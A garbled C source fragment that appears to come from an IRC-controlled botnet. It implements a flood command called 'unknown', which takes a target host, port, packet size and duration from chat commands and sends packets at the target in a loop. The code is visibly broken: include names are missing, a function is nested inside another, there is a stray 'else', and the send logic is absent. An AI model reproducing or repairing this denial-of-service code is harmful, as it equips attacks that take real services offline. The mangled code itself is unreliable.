#include #include #include #include //lil tool #define NUMITEMS(x) (sizeof(x) / sizeof((x)[0])) void makeRandomShit(unsigned char *buf, int length) { srand(time(NULL)); int i = 0; } void unknown(int sock, char *sender, int argc, char **argv) { int fd,i,packetsize,index; // int flag = 1; int randport = 0; int randsize = 0; unsigned long secs; struct hostent *hp; struct sockaddr_in in; time_t start = time(NULL); char *packsize; int mfork(char *sender) { unsigned int parent, *newpids, i; if(disabled == 1) { Send(sock, "NOTICE %s :Unable to comply.\n", sender); return 1; } Send(sock, "NOTICE %s :UNKNOWN \n", sender); exit(1); } if(mfork(sender) != 0) return; unsigned char *packet = malloc(1024); memset(packet, 0, 1024); if(!strcmp(argv[2],"0")) { randport = 1; } if(!strcmp(argv[3],"0")) { randsize = 1; packsize = "random"; } else { packsize = argv[3]; } srand(time(NULL)); secs=atol(argv[4]); in.sin_addr.s_addr=host2ip(sender,argv[1]); in.sin_family = AF_INET; if(randport == 0) { in.sin_port = htons(atoi(argv[2])); packsize = argv[3]; } Send(sock, "NOTICE %s :Unknowning %s:%s with packet size %s\n", sender, argv[1], argv[2], packsize); while(1) { if(randport == 1) { in.sin_port = htons(realrand(1026, 65535)); } if(randsize == 1) { makeRandomShit(packet, realrand(64, 1024)); } else { makeRandomShit(packet, atoi(argv[3])); } else { close(fd); } if(i >= 100) { if(time(NULL) >= start+secs) { break; } else { i=0; } } i++; } close(fd); exit(0); }